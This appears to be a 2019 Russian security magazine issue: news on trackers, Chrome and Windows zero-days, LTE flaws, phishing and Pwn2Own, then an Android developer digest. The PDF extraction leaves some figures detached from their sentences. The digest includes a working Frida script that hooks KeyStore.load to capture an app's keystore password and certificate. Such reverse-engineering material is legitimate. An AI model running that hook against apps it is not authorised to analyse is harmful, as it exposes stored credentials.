РЕК ЛАМНЫЕ ТРЕ КЕРЫ ВСЮ ДУ

По сети телям государс твен ных сай тов в стра нах ЕС сто ит знать и пом нить о том, что эти ресур‐ 
сы бук валь но  наш пигова ны  все воз можны ми  рек ламны ми  тре кера ми. Иссле дова ние  ком пании
Cookiebot выяви ло, что за поль зовате лями   государс твен ных сай тов сле дят как минимум

 ком паний.
89%
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Ко неч но,  пра витель ствен ные  сай ты  не  получа ют  доходов  от  рек ламы  и,  по  идее,  дол жны
подавать  при мер  дру гим  ком пани ям  и  орга низа циям,  демонс три руя,  как  сле дует  вес ти  себя
в онлай не и соб людать GDPR. Увы, на прак тике все выг лядит сов сем ина че.

На   сай тах из   изу чен ных были обна руже ны раз личные рек ламные тре керы.25 28

«Маяч ков» не наш ли все го на   ресур сах, при над лежащих влас тям  ,   и 
.

3 Гер мании Ис пании Да- 
нии

В   слу чаев иссле дова тели наш ли рек ламные тре керы и на сай тах государс твен ных сис тем
здра воох ранения. Хотя эти ресур сы работа ют с кон фиден циаль ной и край не «чувс тви тель ной»
информа цией посети телей, а эта катего рия пер сональ ных дан ных отдель но защища ется GDPR.

52%

Ху же  все го  ситу ация  обсто ит  у  ирланд ской  служ бы  здра воох ранения:  тре керы  обна руже ны
на   ресур сов.73%

Как  минимум    сто рон них  ком паний  сле дят  за  поль зовате лями  гос сай тов  в  ЕС,  и  дан ные
переда ются на   домен.
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Ком пании, отсле жива ющие поль зовате лей на гос сай тах и сай тах государс твен ных сис тем здра‐ 
воох ранения

Нап ример, все го одну стра ницу, пос вящен ную абор там на фран цуз ском сай те, монито рит сра‐ 
зу   сто рон няя ком пания.21

 наибо лее рас простра нен ных «маяч ков» при над лежат ком пании Google. При этом нуж но
учесть, что иссле дова тели не при нима ли во вни мание тре керы Google Analytics.
3 из 5

БАГИ В CHROME
И WINDOWS 7
ПОД АТАКАМИ
В  начале  мар та  2019  года  раз работ чики  бра узе ра  Chrome  сооб щили,  что
в вер сии 72.0.3626.121  (выш ла 1 мар та 2019 года) была устра нена опас ная
уяз вимость  нулево го  дня:  CVE‐2019‐5786.  Так  как  на  момент  выхода  пат ча
дан ную проб лему уже экс плу ати рова ли зло умыш ленни ки, поль зовате лей Win‐
dows, macOS и Linux приз вали обно вить ся как мож но быс трее.

Спе циалис ты  опи сали  проб лему  как  баг  в  управле нии  памятью  в  ком‐ 
понен те  FileReader  (API,  при сутс тву ющий  прак тичес ки  во  всех  сов ремен ных
бра узе рах  и  поз воля ющий  веб‐при ложе ниям  читать  содер жимое  фай лов,
хра нящих ся локаль но, на устрой стве поль зовате ля).

Уяз вимость отно сит ся к типу use‐after‐free и поз воля ет ата кующе му выпол‐ 
нить про изволь ный код в кон тек сте бра узе ра. В зависи мос ти от при виле гий
зло умыш ленник  может  уста нав ливать  при ложе ния,  под менять  или  уда лять
дан ные, соз давать новые учет ные записи.

Поз же  экспер ты  опуб ликова ли  еще  одно  сооб щение,  где  пояс нили,  что
зло умыш ленни ки  ком биниро вали  эту  уяз вимость  с  дру гой  уяз вимостью
нулево го  дня  в  Windows  7,  которую  в  ско ром  вре мени  дол жна  испра вить
Microsoft.

Так как ранее ИБ‐экспер ты писали, что при помощи бага в Chrome неиз‐ 
вес тные  ата кующие  мог ли  осу щест влять  побег  из  песоч ницы,  спе циалис ты
Google  рас ска зали,  что  речь  шла  о  локаль ном  повыше нии  при виле гий,
которое  ста ло  воз можным  из‐за  0day‐бага  в  драй вере  ядра  Windows
win32k.sys (проб лема соп ряжена с разыме нова нием нулево го ука зате ля).

Хо тя пат чи для Windows на тот момент еще не были готовы, спе циалис ты
Google все же соч ли нуж ным заявить об уяз вимос тях пуб лично, так как проб‐ 
лема серь езная и ее исполь зуют хакеры.

Сто ит  ска зать,  что  активная  экс плу ата ция  бага  была  обна руже на  толь ко
на 32‐бит ных вер сиях Windows 7, но инже неры Google все рав но совето вали
всем поль зовате лям  уяз вимых  вер сий ОС подумать  о  перехо де  на Windows
10 (или дож дать ся выхода исправ лений и уста новить их сра зу же, как толь ко
они ста нут дос тупны).

В нас тоящее вре мя Microsoft уже выпус тила пат чи не толь ко для Windows 7,
но и для Windows Server 2008, которую, как ока залось, тоже зат рагива ла дан‐ 
ная  проб лема.  Баг  получил  иден тифика тор  CVE‐2019‐0808,  и  ана лити ки
«Лабора тории Кас пер ско го» уточ нили, что проб лему исполь зовали хакер ские
груп пиров ки FruityArmor и SandCat.

 КИБЕР ПРЕС ТУПЛЕ НИЙ ЗАРЕГИС ТРИ РОВА НО
В РОС СИИ
206 000

Пред ста вите ли МВД  РФ  сооб щили,  что  в  2018  году  в  Рос сии  было  зарегис три рова но  более
  прес тупле ний,  свя зан ных  с  компь ютер ной  информа цией.  Сог ласно  офи циаль ному

пресс‐релизу, речь идет о «прес тупле ниях, совер шенных с исполь зовани ем или при мене нием
рас четных  карт,  компь ютер ной  тех ники,  прог рам мных  средств,  фик тивных  элек трон ных  пла‐ 
тежей, сети интернет и средств мобиль ной свя зи».

206  000

Кро ме  того,  пра воох раните ли  заяви ли,  что  в  прош лом  году  полиции  уда лось  выявить  более
 человек, которые совер шали прес тупле ния такого рода.24 000

На пом ню,  что  ранее  в  этом  году  Генераль ная  про кура тура  сооб щала,  что  количес тво  кибер‐ 
прес тупле ний в Рос сии за пос ледние шесть лет вырос ло поч ти в   — до  , из них
рас сле дова но толь ко око ло  .

16 раз 174 000
43 000

НОВЫЕ ПРОБЛЕМЫ
В LTE
В  мае  2019  года  груп па  спе циалис тов  из  Корей ско го  инсти тута  передо вых
тех нологий  (ведуще го  учеб ного  и  иссле дова тель ско го  уни вер ситета Южной
Кореи)  пред ста вит  на  мероп риятии  IEEE  Symposium  on  Security  and  Privacy
док лад, пос вящен ный уяз вимос тям про токо ла LTE. Одна ко сам документ был
обна родо ван уже сей час.

Об наружен ные  проб лемы  поз воля ют  потен циаль ным  зло умыш ленни кам
нарушать работу базовых стан ций, бло киро вать вхо дящие вызовы на кон крет‐ 
ное  устрой ство,  отклю чать  поль зовате лей  от  мобиль ной  сети,  отправ лять
под дель ные SMS‐сооб щения, а так же манипу лиро вать тра фиком поль зовате‐ 
лей и прос лушивать его.

Это далеко не пер вый слу чай, ког да экспер ты ука зыва ют на несовер шенс‐ 
тво LTE. К при меру, в мар те 2018 года груп па спе циалис тов из Уни вер ситета
Пердью  и  Уни вер ситета  Айовы    о  мно жес твен ных  уяз‐ 
вимос тях  в  сос таве  4G  LTE,  а  так же  опи сала  десять  атак,  которые  мож но
реали зовать при помощи най ден ных багов. В июле того же 2018 года дру гая
груп па спе циалис тов из Рур ско го и Нью‐Йорк ско го уни вер ситетов обна родо‐ 
вала  пред варитель ную    об  уяз вимос тях  стан дарта  LTE,
которые  мож но  исполь зовать  для  DNS‐спу фин га  и  не  толь ко.  Так же  мож но
вспом нить  и  дру гие  док лады  ака деми ков,  в  том  чис ле  датиро ван ные  2015–
2016 годами.

пред ста вила  отчет

вер сию  док лада

Преж де все го све жее иссле дова ние  корей ских спе циалис тов отли чает ся
от  пре дыду щих  док ладов  на  эту  тему  количес твом  обна ружен ных  проб лем:
сум марно экспер ты наш ли в LTE 51 уяз вимость, и 36 из них ока зались новыми
(то есть 15 уяз вимос тей ранее были обна руже ны и опи саны дру гими иссле‐ 
дова теля ми).

Для  про веде ния  ана лиза  спе циалис ты  Корей ско го  инсти тута  передо вых
тех нологий  соз дали  собс твен ный  полу авто мати чес кий  фаз зер,  наз ванный
LTEFuzz.  С  помощью  это го  инс тру мен та  экспер ты  соз давали  вре донос ные
соеди нения  в  мобиль ной  сети,  а  затем  изу чали  реак цию  сети  на  про исхо‐ 
дящее.

Продолжение статьи →

https://xakep.ru/2018/03/07/lteinspector/
https://xakep.ru/2018/07/03/alter/


 Начало статьи←

Спе циалис ты уже уве доми ли о проб лемах кон сорци ум 3GPP и орга низа цию
GSMA, а так же свя зались с про изво дите лями железа, на котором тес тирова‐ 
ли LTEFuzz. Одна ко, по мне нию иссле дова телей, из‐за того, что мно гие уяз‐ 
вимос ти  каса ются  не  толь ко  самого  про токо ла,  но  и  его  раз личных  реали‐ 
заций на обо рудо вании кон крет ных опе рато ров, мно гие опи сан ные в док ладе
баги по‐преж нему акту аль ны и пред став ляют угро зу в реаль ной прак тике.

 ФИШИН ГОВЫХ АТАК500 000 000

Спе циалис ты «Лабора тории Кас пер ско го» пред ста вили ана лити чес кий отчет, пос вящен ный спа‐ 
му и фишин гу в 2018 году.

В  2018  году  решения  «Лабора тории  Кас пер ско го»  заб локиро вали  поряд ка 
фишин говых атак. Это поч ти в   боль ше, чем в 2017 году.

500  000  000
2 раза

Рос сия  вош ла  в    наибо лее  ата куемых фишера ми  стран:  с мошен ничес твом  на  под дель ных
веб‐сай тах стал кивал ся поч ти каж дый   рос сий ский поль зователь.

10
5-й

С фишин гом стал кивались   уни каль ных поль зовате лей.18,32%

Од ной  из  самых  популяр ных  тем  у  мошен ников  оста ется  .  Было  пре дот вра‐ 
щено   попыток перехо да поль зовате лей на фишин говые сай ты, ими тиру ющие популяр‐ 
ные крип товалют ные кошель ки, бир жи и плат формы.

крип товалю та
410 786

Еще  один  популяр ный  спо соб  фишин га  —  обе щания  гаран тирован ного  выиг рыша  в  лотерею
или  воз награж дения  за  про хож дение  опро са.  В  2018  году  было  заб локиро вано 
попыток перехо да на мошен ничес кие сай ты, свя зан ные с лотере ями или опро сами.

3  200  180

Ча ще  все го фишеры при киды вают ся  пред ста вите лями Microsoft  ( ),  Facebook  ( ),
PayPal ( ).

6,86% 6,37%
3,23%

Тем вре менем доля спа ма в поч товом тра фике в 2018 году сок ратилась на 
 и сос тавила  .

4,15 про цен тно го
пун кта 52,48%

До ля спа ма в мировом поч товом тра фике

Тор‐10 семей ств вре донос ных прог рамм, встре чающих ся в поч те

При  этом  количес тво  вре донос ных  писем  в  спа ме  сок ратилось  в    по  срав нению
с 2017 годом.

1,2  раза

Ко личес тво сра баты ваний поч тового ком понен та анти виру са у кли ентов «Лабора тории Кас пер ско‐ 
го»

MYSPACE ПОТЕРЯЛА
ДАННЫЕ
ЗА ДВЕНАДЦАТЬ ЛЕТ
Поль зовате ли Reddit обра тили вни мание, что дав но утра тив шая популяр ность
соци аль ная сеть MySpace потеря ла все дан ные поль зовате лей, заг ружен ные
с 2003 по 2015 год (вклю чая музыку, фотог рафии и видео).

Что ста рые дан ные более недос тупны, на Reddit замети ли еще в фев рале
прош лого  года,  одна ко  тог да  это  прак тичес ки  никого  не  заин тересо вало,
а  пред ста вите ли  соци аль ной  сети  завери ли,  что  работа ют  над  проб лемой.
Как ока залось, поз же сот рудни ки MySpace приз нали, что потеря ли все поль‐ 
зователь ские  дан ные  за  ука зан ный  пери од,  но  и  это  тоже  оста лось
не замечен ным широкой пуб ликой.

Тог да  в  ответ  на  зап рос  поль зовате ля  спе циалис ты  MySpace  сооб щили
в  пись ме,  что  во  вре мя  перено са  информа ции  на  новые  сер веры  дан ные
были пов режде ны и вос ста новить их невоз можно. Оче вид но, бэкапов у ком‐ 
пании не было.

Те перь,  год  спус тя,  поль зователь  Reddit  соб рал  все  эти  фак ты  воеди но
и  вновь  попытал ся  прив лечь  вни мание  к  проб леме.  На  этот  раз  сра бота ло:
теперь опо веще ние о потерян ных дан ных появи лось на офи циаль ном сай те
MySpace и в меди апле ере, а слу чив шееся пре дали широкой огласке.

Быв ший тех ничес кий дирек тор Kickstarter Энди Байо (Andy Baio) под счи тал
в  Twitter,  что  в  общей  слож ности  ком пания  потеря ла  поряд ка  50 мил лионов
ком позиций  14  мил лионов  исполни телей.  Байо  писал,  что  про изо шед шее
вызыва ет у него подоз рения, так как вопи ющая неком петен тность, в которой
рас писались раз работ чики MySpace, — это, конеч но, пло хой PR, но все рав‐ 
но выг лядит луч ше отве та «мы решили не тра тить силы и средс тва на перенос
и хос тинг 50 мил лионов ста рых MP3».

 ДОЛ ЛАРОВ И АВТО МОБИЛЬ TESLA375 000

В  Канаде  в  рам ках  кон ферен ции  CanSecWest  прош ло  еже год ное  сос тязание  Pwn2Own  2019,
орга низо ван ное Trend Micro Zero Day  Initiative. При зовой фонд мероп риятия в  этом  году сос‐ 
тавлял более   дол ларов.1 000 000

Нас тоящи ми звез дами сос тязания в этом году ста ли учас тни ки коман ды Fluoroacetate, в сос тав
которой вхо дили Амат Кама (Amat Cama) и Ричард Чжу (Richard Zhu), в прош лом году ока зав‐ 
ший ся  наибо лее  резуль татив ным  учас тни ком  сорев нований  и  зарабо тав ший  зва ние  Master
of Pwn.

Пар ни из Fluoroacetate про демонс три рова ли на Pwn2Own экс пло иты для  , 
,  ,  бра узе ров    и  .  Кро ме

того, в пос ледний день сорев нований коман да показа ла успешную ком про мета цию информа‐ 
цион но‐раз вле катель ной сис темы  .

Safari Oracle Vir-
tualBox VMware Workstation Mozilla Firefox Microsoft Edge

Tesla Model 3

В ито ге Fluoroacetate не толь ко зарабо тали   дол ларов на сво их экс пло итах, но и оста‐ 
вили  себе  взло ман ную  машину,  ведь  по  пра вилам  Pwn2Own  все  взло ман ные  устрой ства
забира ют иссле дова тели. Чжу и Кама вновь удос тоились зва ний Master of Pwn, то есть самых
резуль татив ных хакеров года.

375 000

БЕСПОЛЕЗНЫЕ
АНТИВИРУСЫ
ДЛЯ ANDROID
Ис сле дова тели  из  AV‐Comparatives  изу чили  250  популяр ных  защит ных  при‐ 
ложе ний из офи циаль ного катало га Google Play и приш ли к неуте шитель ным
выводам: поч ти две тре ти анти виру сов для Android не выпол няют заяв ленных
в  их  рек ламе  фун кций.  Хуже  того,  порой  такие  при ложе ния  называ ют  мал‐ 
варью сами  себя,  не  «видят»  нас тоящих  угроз  и,  по  сути,  не  дела ют  ничего
полез ного вов се.

Тес тирова ние про води лось весь ма прос тым спо собом: экспер ты уста нав‐ 
ливали  анти виру сы  на  отдель ные  устрой ства,  на  которых  авто мати чес ки
откры вал ся  бра узер  и  заг ружались  вре донос ные  при ложе ния.  С  каж дым
защит ным  при ложе нием  такое  про дела ли  2000  раз,  исполь зовав  2000  раз‐ 
личных  обра зов  «популяр ной»  мал вари,  обна ружен ных  в  прош лом  году.
В  дан ном  слу чае  сло во  «обна ружен ных»  под разуме вает,  что  анти вирус ным
решени ям дол жно было быть извес тно об этих вре доно сах. Увы, на деле все
ока залось сов сем ина че.

Лишь  80  при ложе ний  из  250  изу чен ных  сумели  рас познать  хотя  бы  30%
угроз без лож нополо житель ных сра баты ваний. То есть дру гие 170 при ложе‐ 
ний  «завали ли  тест».  Нуж но  ска зать,  что  100%  угроз  обна ружи ли  толь‐ 
ко 23 при ложе ния из 250. В основном это были решения хорошо извес тных
раз работ чиков  анти вирус ных  про дук тов,  вклю чая  Avast,  Bitdefender,  ESET,  F‐
Secure, G‐Data, «Лабора торию Кас пер ско го», McAfee, Sophos, Symantec, Ten‐
cent, Trend Micro и Trustwave.

Ис сле дова тели пишут,  что мно гие анти виру сы вооб ще не ска ниру ют заг‐ 
ружа емые и уста нав лива емые поль зовате лем при ложе ния, но лишь све ряют‐ 
ся  с  белыми  и  чер ными  спис ками,  про веряя  толь ко  име на  пакетов,  а  не  их
код. В ито ге мно гие при ложе ния по умол чанию помеча ются как вре донос ные,
поп росту из‐за того, что их нет в нуж ном спис ке. Из‐за это го порой воз ника ют
комич ные  ситу ации,  нап ример  такие  «анти виру сы»  могут  счи тать  вре донос‐ 
ными даже самих себя, если их авто ры забыли добавить наз вание собс твен‐ 
ного про дук та в белый спи сок. Дру гие решения, нап ротив, счи тают без вред‐ 
ными любые при ложе ния,  чьи наз вания начина ются с  «com.adobe.».  То есть
любая  мал варь,  в  наз вании  которой  при сутс тву ет  com.adobe,  без  проб лем
обой дет огра ниче ния.

Как отме чают экспер ты AV‐Comparatives, тре вогу вызыва ет и тот факт, что
мно гие  из  этих  анти вирус ных  при ложе ний  раз работа ны  вов се  не  ИБ‐спе‐ 
циалис тами: их соз давали либо любите ли, либо ком пании, чей основной род
деятель нос ти  край не  далек  от  информа цион ной  безопас ности  (нап ример,
раз работ чики  игр).  «Пос леднюю  катего рию  пред став ляют  раз работ чики,
которые  соз дают  при ложе ния  любых  типов  ради  монети зации  и  рек ламы
или жела ют ради пиара иметь в сво ем пор тфо лио защит ное решение для An‐
droid», — пояс няют спе циалис ты.

Ху же того, мно гие защит ные решения, судя по все му, сош ли с одних и тех
же  «кон вей еров»:  десят ки  при ложе ний  име ют  прак тичес ки  иден тичный
интерфейс,  а  их  соз дателей  явно  боль ше  инте ресу ет  показ  рек ламы,  чем
написа ние работа юще го ска нера мал вари.

Вряд ли резуль таты иссле дова ния AV‐Comparatives уди вят людей, которые
сле дят за ситу ацией в области анти вирус ных решений для Android. К при меру,
еще вес ной прош лого года спе циалис ты ком пании ESET 
35  рек ламных  при ложе ний,  тоже  замас кирован ных  под  анти виру сы  и  заг‐ 
ружен ных более 7 000 000 раз. Ана лити ки ESET откры то наз вали такие «пус‐ 
тышки» мал варью, лишь ими тиру ющей работу нас тояще го защит ного ПО.

наш ли в Google Play

ДРУ ГИЕ ИНТЕ РЕС НЫЕ СОБЫТИЯ МЕСЯЦА

Под поль ная тор говая пло щад ка Dream Market зак роет ся 30 апре ля

Microsoft перех ватила кон троль над 99 домена ми иран ской хак‐груп пы APT35

Мо биль ный UC Browser под верга ет рис ку MITM‐атак 500 000 000 поль зовате лей

В Chrome испра вили проб лему «злой кур сор»

Баг Google Photos поз волял сле дить за геоло каци ей поль зовате лей

Но вая вари ация Mirai исполь зует 27 экс пло итов

При покуп ке подер жанно го USB‐накопи теля в 1/5 слу чаев мож но опре делить пре дыду щего вла‐ 
дель ца

GoDaddy, Apple и Google будут вынуж дены отоз вать более мил лиона сер тифика тов

Тро ян Belonard экс плу ати рует уяз вимос ти в Counter‐Strike 1.6

Про цес сорам Intel угро жает новая спе куля тив ная уяз вимость Spoiler
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https://xakep.ru/2019/03/29/dream-market-ddos/
https://xakep.ru/2019/03/28/apt35-sinkholed/
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https://xakep.ru/2019/03/26/evil-cursor-fixed/
https://xakep.ru/2019/03/22/google-photos-bug/
https://xakep.ru/2019/03/19/new-mirai-exsploits/
https://xakep.ru/2019/03/15/usb-sticks/
https://xakep.ru/2019/03/14/63-bit-certificates/
https://xakep.ru/2019/03/13/belonard/
https://xakep.ru/2019/03/07/spoiler/
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Се год ня  в  выпус ке:  privacy‐нов шес тва  An‐
droid Q Beta 1, извле чение SSL‐сер тифика‐ 
тов  подопыт ного  при ложе ния  из  KeyStore,
Kotlin и его парамет ры вещес твен ного типа,
поль за  зна чения  null,  вред  язы ковых  конс‐ 
трук ций Kotlin и более удоб ный опе ратор if‐
else. А так же: метод уско рения Android Stu‐
dio,  дам пер,  поз воля ющий  снять  память
любого  при ложе ния,  и  све жая  под борка
биб лиотек.

ПОЧИТАТЬ

Android Q: privacy
 — докумен тация Google об изме нени ях в механиз мах дос‐ 

тупа  к  информа ции  в  недав но  выпущен ном  Android  Q  Beta  1.  Основные
новов ведения:

Privacy in Android Q

1. Зап рет фоново го дос тупа к мес тополо жению. Рань ше, если поль зователь
раз решал при ложе нию исполь зовать мес тополо жение, оно мог ло сде лать
это  в  любой  момент,  даже  если  находи лось  в  фоне.  В  новой  вер сии
у  поль зовате ля  есть  воз можность  выб рать,  в  каких  ситу ациях  отда вать
при ложе нию свои  коор динаты:  в  любое вре мя или  толь ко пока при ложе‐ 
ние находит ся на экра не.

2. Зап рет фоново го дос тупа к буферу обме на. В Android нет отдель ного раз‐ 
решения на дос туп к буферу обме на, любое при ложе ние может про читать
или записать его содер жимое (так получи лось из‐за тех ничес ких осо бен‐ 
ностей это го механиз ма). Теперь дос туп к буферу обме на могут получить
толь ко при ложе ния,  которые в дан ный момент находят ся на экра не либо
явля ются  кла виату рами  и  дру гими  сис темами  вво да.  Новов ведение  уби‐ 
вает целый класс при ложе ний — менед жеры буфера обме на.

3. Зап рет фоново го запус ка активнос тей. Текущие вер сии Android поз воля ют
при ложе ниям  запус кать  дру гие  при ложе ния  (а  точ нее,  их  активнос ти)
в  любое  вре мя,  незави симо  от  того,  находят ся  они  на  экра не  или  нет.
Это может запутать поль зовате ля и откры вает воз можнос ти для фишин га
и  дру гих  злов редных  дей ствий.  Android Q  зап реща ет фоновым  при ложе‐ 
ниям  запус кать  активнос ти.  В  качес тве  аль тер нативы  пред лага ется
исполь зовать  уве дом ления,  которые,  в  свою  оче редь,  запус тят  нуж ную
активность с помощью PendingIntent.

4. Зап рет на пря мой дос туп к кар те памяти. С Android Q при ложе ния боль ше
не смо гут получить пря мой дос туп к кар те памяти  (внут ренней или внеш‐ 
ней)  с  помощью  раз решений    и 

.  Вмес то  это го  сле дует  исполь зовать  либо  лич ный
каталог  при ложе ния  внут ри    (он  соз дает ся  авто мати‐ 
чес ки и не тре бует раз решений), либо одно из раз решений, допус кающих
дос туп к катало гам с фотог рафи ями, видео и заг рузка ми.
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5. Воз можность  отзы ва  раз решений  у  ста рых  при ложе ний.  Сис тема  под‐ 
твержде ния раз решений при ложе ний поль зовате лем появи лась еще в An‐
droid 6.0. Но работа ла она толь ко в отно шении соф та, соб ранно го для An‐
droid 6.0 и выше. Весь ста рый софт про дол жал получать все нуж ные ему
раз решения  авто мати чес ки.  В  Android  Q  ситу ация  не  изме нилась,
но  теперь  при  запус ке  ста рого  при ложе ния  поль зователь  будет  видеть
экран, с помощью которо го смо жет отоз вать уже выдан ные сис темой раз‐ 
решения.

6. Зап рет на вклю чение/вык лючение Wi‐Fi. В Android Q при ложе ния боль ше
не  смо гут  вклю чать  и  вык лючать Wi‐Fi,  вмес то  это го  они дол жны исполь‐ 
зовать  новую фун кцию  ,  которая  показы вает  всплы вающий
диалог с перек лючате лем выб ранной нас трой ки.

settings‐panels

7. Ог раниче ние на дос туп к IMEI и серий ному номеру устрой ства. Что бы про‐ 
читать  эту  информа цию,  теперь  тре бует ся  раз решение 

.
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8. Зап рет на дос туп к информа ции о час тоте исполь зования кон тактов. При‐ 
ложе ния, получа ющие дос туп к базе кон тактов телефо на, боль ше не смо‐ 
гут  так же  получить  информа цию о  том,  как  час то  поль зователь  кон такти‐ 
ровал с теми или ины ми людь ми.

9. Ран домиза ция  MAC‐адре са.  При  ска не  сетей  Android  Q  будет  исполь‐ 
зовать  ран домизи рован ный  MAC‐адрес  вмес то  нас тояще го.  Это  изме‐ 
нение  дол жно  защитить  от  отсле жива ния  поль зовате ля:  некото рые
магази ны  исполь зуют MAC‐адрес  для  отсле жива ния  посети телей,  а  тор‐ 
говые цен тры — для тре кин га их переме щения.

10. Дру гие  изме нения:  зап рет  на  дос туп  к  фай ловой  сис теме  ,
зап рет  на  чте ние  серий ных  номеров  под клю чен ных  USB‐устрой ств
до получе ния соот ветс тву юще го раз решения, зап рет на чте ние парамет‐ 
ров камеры без получе ния раз решения на исполь зование камеры, необ‐ 
ходимость  иметь  раз решение  ,  что бы  получить
дос туп ко мно гим фун кци ям телефо нии, Wi‐Fi и Bluetooth, зап рет на скры‐ 
тое получе ние содер жимого экра на устрой ства обходны ми путями.

/proc/net
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Ок но отзы ва раз решений у ста рого соф та

Из вле каем SSL-сер тификат при ложе ния из KeyStore
  —  статья  об  извле чении  SSL‐сер‐ 

тифика тов из при ложе ния с помощью Frida.
Extracting  Android  KeyStores  from  apps

Мно гие при ложе ния хра нят при ват ные дан ные в KeyStore — спе циаль ном
хра нили ще,  поз воля ющем  зашиф ровать  и  надеж но  защитить  дан ные
с  помощью  хар двар ного  TEE‐модуля  смар тфо на  (если  такой  при сутс тву ет).
Нап рямую извлечь эти дан ные в боль шинс тве слу чаев не удас тся. Но вмес то
извле чения дан ные мож но перех ватить.

KeyStore  име ет  методы 
и    для  извле чения  дан ных
из  хра нили ща.  Мы  можем  перепи сать  код  этих  фун кций  с  помощью  Frida
и сох ранить дан ные на сво ей машине.

load(KeyStore.LoadStoreParameter  param)
load(InputStream  stream,  char[]  password)

Код скрип та для Frida выг лядит так:

setTimeout(function() {
   Java.perform(function () {
       keyStoreLoadStream = Java.use('java.security.KeyStore')['load
'].overload('java.io.InputStream', '[C');

       /* Переписываем функцию Keystore.load */
       keyStoreLoadStream.implementation = function(stream, charAr
ray) {
           /* Если первый параметр null — запускаем оригинал */
           if (stream == null) {
               this.load(stream, charArray);
               return;
           }

           /* Отправляем сообщение, что функция найдена */
           send({event: '+found'});

           /* Читаем InputStream в буфер */
           var hexString = readStreamToHex (stream);

           /* Отправляем тип KeyStore */
           send({event: '+type', certType: this.getType()});

           /* Отправляем пароль */
           send({event: '+pass', password: charArray});

           /* Отправляем сертификат в текстовой форме */
           send({event: '+write', cert: hexString});

           /* Запускаем оригинальную функцию */
           this.load(stream, charArray);
       }
   });
},0);

/* Функция для чтения InputStream и его конвертации в ASCII */
function readStreamToHex (stream) {
   var data = [];
   var byteRead = stream.read();
   while (byteRead != ‐1)
   {
       data.push( ('0' + (byteRead & 0xFF).toString(16)).slice(‐2) )
;
       /* <‐‐‐‐‐‐‐‐‐‐‐‐ binary to hex ‐‐‐‐‐‐‐‐‐‐‐> */
       byteRead = stream.read();
   }
   stream.close();
   return data.join('');
}

Кро ме  это го  скрип та,  так же  понадо бит ся  ,  работа ющий  на  ком пе
(имен но ему при веден ный выше скрипт отправ ляет дан ные с помощью фун‐ 
кции  send).  Как  работать  с  Frida  и  запус тить  скрипт,  мы  уже  рас ска зыва ли
в статье « ».

скрипт

Инъ екция для андро ида

Ре зуль тат работы скрип та

РАЗРАБОТЧИКУ

Бо лее удоб ный if-else для Kotlin
  —  крат кая  замет ка  о  том,  как  соз дать

более удоб ный ана лог опе рато ра if‐else, который мож но исполь зовать так:
Kotlin:  when  if‐else  is  too  mainstream

val condition = true
val output = condition then { 1 + 1 } elze { 2 + 2 }

Ре али зация такого «опе рато ра» уме щает ся в десять строк:

infix fun <T>Boolean.then(action : () ‐> T): T? {
   return if (this)
       action.invoke()
   else null
}

infix fun <T>T?.elze(action: () ‐> T): T {
   return if (this == null)
       action.invoke()
   else this
}

Клю чевое  сло во  infix  исполь зует ся,  что бы  фун кции‐рас ширения  then  и  elze
мож но было вызывать без необ ходимос ти ста вить точ ку перед ними.

Kotlin и парамет ры вещес твен ного типа
  —  крат кая  статья  о  том,

как парамет ры вещес твен ного типа могут облегчить твою жизнь. В офи циаль‐ 
ной  докумен тации  при водит ся  толь ко  один  при мер  исполь зования  такого
типа парамет ров — для облегче ния переда чи клас сов внутрь фун кции. Нап‐ 
ример, вмес то того что бы писать так:

How  Reified  Type  makes  Kotlin  so  much  better

private fun <T : Activity> Activity.startActivity(
       context: Context, clazz: Class<T>) {
   startActivity(Intent(context, clazz))
}

startActivity(context, NewActivity::class.java)

мож но написать так:

inline fun <reified T : Activity> Activity.startActivity(
       context: Context) {
   startActivity(Intent(context, T::class.java))
}

startActivity<NewActivity>(context)

Но  на  этом  полез ные  качес тва  вещес твен ных  типов  не  закан чива ются.
Еще один при мер — фун кция для получе ния дан ных из бан дла:

fun <T> Bundle.getDataOrNull(): T? {
   return getSerializable(DATA_KEY) as? T
}

val bundle: Bundle? = Bundle()
bundle?.putSerializable(DATA_KEY, "Testing")
val strData: String? = bundle?.getDataOrNull()
val intData: Int? = bundle?.getDataOrNull() // Crash

Пос ледняя  стро ка  при ведет  к  падению  при ложе ния,  так  как  не  сов пада ют
ожи даемый тип дан ных и тип, воз вра щаемый фун кци ей. Испра вить это мож но
так:

private inline fun <reified T> Bundle.getDataOrNull(): T? {
   return getSerializable(DATA_KEY) as? T
}

val bundle: Bundle? = Bundle()
bundle?.putSerializable(DATA_KEY, "Testing")
val strData: String? = bundle?.getDataOrNull()
val intData: Int? = bundle?.getDataOrNull() // Null

Так же  вещес твен ные  типы  мож но  исполь зовать  для  эму ляции  перег рузки
методов на осно ве воз вра щаемо го зна чения (Kotlin и Java по умол чанию раз‐ 
реша ют выпол нять перег рузки толь ко на осно ве аргу мен тов):

inline fun <reified T> Resources.dpToPx(value: Int): T {
   val result = TypedValue.applyDimension(
       TypedValue.COMPLEX_UNIT_DIP,
       value.toFloat(), displayMetrics)

   return when (T::class) {
       Float::class ‐> result as T
       Int::class ‐> result.toInt() as T
       else ‐> throw IllegalStateException("Type not supported")
   }
}

val intValue: Int = resource.dpToPx(64)
val floatValue: Float = resource.dpToPx(64)

Kotlin и поль за null
 — неболь шая  замет ка о поль зе  зна чения

null.
When You Should Use Null  in Kotlin

В  сре де  прог раммис тов  на  Kotlin  исполь зование  nullable‐типов  дан ных
счи тает ся дур ным  тоном. Но автор объ ясня ет,  что бла года ря осо бен ностям
Kotlin (null safety) исполь зование null ста новит ся ско рее пре иму щес твом, чем
недос татком.

Зна чение null мож но исполь зовать для инди кации отсутс твия какого‐либо
зна чения или недос тупнос ти дан ных. И если в Java в этом слу чае ты лег ко мог
совер шить  «ошиб ку  на мил лион  дол ларов»  (нап ример,  обра тить ся  к методу
null‐объ екта и уро нить при ложе ния),  то Kotlin прос то не поз волит тебе это го
сде лать. Нес коль ко при меров:
1. Ес ли объ ект != null, то выпол няем код

iuser?.let {
    handleNonNullUser(user)
}

2. Не выпол няем фун кцию, если аргу мент = null:

fun handleUser(user : User?) {
    user ?: return
    // Твой код
}

3. Ес ли объ ект = null, то

val userName = user?.getName() ?: "Unknown"

Ус корение эму лято ра Android
 —  статья  раз работ чиков  эму‐ 

лято ра  Android  об  улуч шени ях  в  про изво дитель нос ти,  сде лан ных  в  вер‐ 
сии 28.1 (эму лятор дос тупен в canary‐канале). В целом все дос таточ но прос‐ 
то:

Android  Emulator:  Project  Marble  Improvements

1. Ре жим  «на  батарей ке»  по  дефол ту.  Рань ше  эму лятор  сооб щал  работа‐ 
юще му  в  нем Android,  что  устрой ство  пита ется  от  сети,  а  это  при води ло
